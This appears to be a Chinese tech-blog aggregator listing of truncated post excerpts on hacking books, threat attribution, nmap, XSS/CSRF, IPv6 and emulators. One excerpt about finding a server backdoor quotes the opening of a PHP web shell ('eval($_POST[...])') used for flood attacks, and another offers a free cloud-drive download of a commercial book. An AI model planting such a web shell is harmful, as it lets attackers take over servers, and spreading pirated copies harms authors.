百度云盘免费下载：Python灰帽子：黑客与逆向工程师的Python编程之道PDF高清完整版免费下载 提取码：8nki 目录 · · · · · · 第1章 搭建开发环境 11.1 操作系统要求 11.2 获取和安装Python 2.5 21.2.1 在Windows下安装Python 21.2.2 ...
分类：
编程语言 时间：
2020-07-20 23:01:24
阅读次数：
220
基于威胁情报的攻击组织画像与溯源 原文：点击打开链接 一、溯源案例两则 （一）白象组织溯源? 首先，我们来看溯源白象事件[1]的整体过程。此事件的主要点在样本侧。因为安天在这方面有一定储备，在一千个样本中提取PDB开发路径，进而关注到“neeru”等一些有特殊意义的用户名，我们将其单独提出来，直接在 ...
分类：
数据库 时间：
2020-07-20 22:38:01
阅读次数：
126
python-nmap使用及案例 nmap概念及功能 概念 NMap，也就是Network Mapper，最早是Linux下的网络扫描和嗅探工具包。 nmap是一个网络连接端扫描软件，用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端，并且推断计算机运行哪个操作系统（这是亦称 finge ...
分类：
编程语言 时间：
2020-07-19 23:56:40
阅读次数：
104
今天把客户查找后门的时候发现的代码，特分享下，看到这样的代码就是黑客用来攻击别人访问，不断访问指定网站，导致网站无法访问，我们的网站就是帮凶了，同时我们自己的网站或服务器也会无法访问，所以一定要注意防范。 cc攻击代码，支持udp <?php eval($_POST[Chr(90)]); set_t ...
分类：
Web程序 时间：
2020-07-14 16:30:35
阅读次数：
75
常见的浏览器攻击分为两种，一种为XSS（跨站脚本攻击），另一种则为CSRF（跨站请求伪造）。 XSS（跨站脚本攻击） 定义 XSS 全称是 Cross Site Scripting，为了与“CSS”区分开来，故简称 XSS，翻译过来就是“跨站脚本”。XSS 攻击是指黑客往 HTML 文件中或者 DO ...
分类：
其他好文 时间：
2020-07-12 16:45:33
阅读次数：
123
业务拓扑如下：客户网络通过以上几家运营商电路到出口，中间电路都是交换机二层互通，在访问IPv6资源时遇到以下问题1、ping公网IPv6IP正常，2、域名解析正常，3、部分网页无法正常打开，部分可以打开首页，其它内容都打不开通过以上情况分析，1说明网络互通正常，2说明解析正常。唯独网站，应该是和MTU值小于1500，导致TCPMSS协商时遇到问题，虽然IPv6具有PathMTU探测功能，但由于中间
分类：
Web程序 时间：
2020-07-12 14:13:06
阅读次数：
130
模拟器安装配置： 安装夜神模拟器 官方网站下载地址：https://www.yeshen.com/ 下载安装完成之后。桌面会有2个图标：夜神模拟器、夜神多开器。 夜神模拟器：默认安卓版本为4.4.2 夜神多开器：可以增加安卓5.1模拟器、安卓7.1模拟器。 在启动模拟器之前，替换模拟器安装路径当中的 ...
分类：
移动开发 时间：
2020-07-11 12:46:36
阅读次数：
81
jeecg miniDao 框架原理 - 简书 https://www.jianshu.com/p/1bbf9385f803 MiniDao 学习系列 1- - - - 集成使用 - 黑客派 https://hacpai.com/article/1537089268066 @Repository注解 ...
分类：
编程语言 时间：
2020-07-10 18:43:08
阅读次数：
66
1 #include<iostream> 2 #include<cstring> 3 using namespace std; 4 int main() 5 { 6 7 int h, s; 8 string str;//或 char str[105] 9 cin>>h>>s; 10 cin>>str ...
分类：
其他好文 时间：
2020-07-10 15:43:58
阅读次数：
71
前提环境：网站存在CSRF漏洞(也就是过于相信访问请求，只判断了用户是否存在cookie，并未判断请求的发起者) CSRF攻击原理，用户A需要转账，用户A正常向银行网站发送请求登录，登录成功后银行网站服务端把用户的cookie返回给浏览器，浏览器把cookie保存到本地，方便用户下次登录，这时候用户 ...
分类：
其他好文 时间：
2020-07-10 15:11:58
阅读次数：
56
